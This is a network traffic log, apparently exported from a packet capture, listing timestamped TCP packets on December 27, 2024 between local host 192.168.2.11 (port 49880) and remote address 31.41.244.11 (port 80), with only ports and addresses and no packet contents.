Dec 27, 2024 09:03:27.131392002 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.131442070 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.135834932 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.135890961 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.135931969 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.135982990 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.140249014 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.140325069 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.140357971 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.140371084 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.144692898 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.144757032 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.144782066 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.144821882 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.149215937 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.149274111 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.149311066 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.149350882 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.153706074 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.153770924 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.153786898 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.153810978 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.158004045 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.158047915 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.158085108 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.158123970 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.162257910 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.162303925 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.162333965 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.162372112 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.166559935 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.166610956 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.166611910 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.166656017 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.170876980 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.170917034 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.170994043 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.171032906 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.175170898 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.175228119 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.175270081 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.175316095 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.179483891 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.179529905 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.179591894 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.179632902 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.183789968 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.183845043 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.183928967 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.183979034 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.188086987 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.188133001 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.188210011 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.188250065 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.192451954 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.192502975 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.192545891 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.192590952 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.196755886 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.196851015 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.196887970 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.196934938 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.201056004 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.201106071 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.201170921 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.201210976 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.205384016 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.205435038 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.205473900 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.205517054 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.209688902 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.209758043 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.209851980 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.209892988 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.213979006 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.214027882 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.214092970 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.214138031 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.218367100 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.218420029 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.218434095 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.218475103 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.223495007 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.223567963 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.223603964 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.223654032 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.248822927 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.248859882 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.248900890 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.248917103 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.321028948 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.321084976 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.321142912 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.321170092 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.322674990 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.322765112 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.323321104 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.323365927 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.323508024 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.323549986 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.326750040 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.326808929 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.326843977 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.326881886 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.330197096 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.330284119 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.330285072 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.330334902 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.333579063 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.333652020 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.333663940 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.333702087 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.336910009 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.336963892 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.337013960 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.337057114 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.340151072 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.340214968 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.340249062 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.340292931 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.343331099 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.343394995 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.343514919 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.343569994 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.346441984 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.346489906 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.346575975 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.346618891 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.349524975 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.349574089 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.349606037 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.349653959 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.352547884 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.352598906 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.352637053 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.352680922 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.355595112 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.355639935 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.355669022 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.355712891 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.358620882 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.358673096 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.358828068 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.358875036 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.361628056 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.361686945 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.361717939 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.361763954 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.364634991 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.364738941 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.364809036 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.367764950 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.367816925 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.367858887 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.367906094 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.370687962 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.370739937 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.370807886 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.370857954 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.373682976 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.373738050 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.373779058 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.373823881 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.376725912 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.376780033 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.376823902 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.376866102 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.378576040 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.378652096 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.378683090 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.378727913 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.380347013 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.380403042 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.380490065 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.380532026 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.382216930 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.382268906 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.382277966 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.382323027 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.384016991 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.384071112 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.384079933 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.384123087 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.385818958 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.385869026 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.385920048 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.385962963 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.387646914 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.387696981 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.387737989 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.387783051 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.389480114 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.389519930 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.389549971 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.389573097 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.391283989 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.391330957 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.391370058 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.391417027 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.393091917 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.393142939 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.393213987 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.393259048 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.394931078 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.394984007 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.395044088 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.395088911 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.396745920 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.396799088 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.396828890 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.396878958 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.398565054 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.398617029 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.398657084 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.398701906 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.400388002 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.400454044 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.400563002 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.400616884 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.402216911 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.402271986 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.402312040 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.402355909 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.404064894 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.404114962 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.404145002 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.404190063 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.405855894 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.405905962 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.405941963 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.405987978 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.407684088 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.407732010 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.407799959 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.407845020 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.409523964 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.409575939 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.512965918 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.513112068 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.513120890 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.513155937 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.513816118 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.513863087 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.513983011 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.514031887 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.515607119 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.515660048 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.516287088 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.516330957 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.516396046 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.516439915 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.518028021 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.518062115 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.518071890 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.518095970 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.519824982 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.519875050 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.519920111 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.519961119 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.521589994 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.521636963 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.521712065 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.521754026 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.523241997 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.523315907 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.523350954 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.523391962 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.524907112 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.524957895 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.525058985 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.525101900 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.526520967 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.526571035 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.526679993 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.526724100 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.528116941 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.528156042 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.528220892 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.528265953 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.529695988 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.529743910 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.529808998 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.529850960 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.531240940 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.531284094 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.531352997 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.531397104 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.532773972 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.532821894 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.532877922 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.532922983 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.534292936 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.534363985 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.534401894 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.534450054 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.535813093 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.535856009 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.535923958 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.535975933 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.537342072 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.537395000 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.537427902 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.537472963 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.538894892 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.538939953 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.538971901 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.539016008 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.540360928 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.540411949 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.540448904 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.540491104 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.541914940 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.541969061 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.542007923 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.542048931 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.543421984 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.543472052 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.543580055 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.543623924 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.544966936 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.545036077 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.545048952 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.545098066 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.546473980 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.546525955 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.546559095 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.546602964 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.548000097 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.548051119 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.548084021 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.548127890 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.549513102 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.549565077 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.549613953 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.549659014 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.551019907 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.551073074 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.551110029 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.551153898 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.552541018 CET	80	49880	31.41.244.11	192.168.2.11
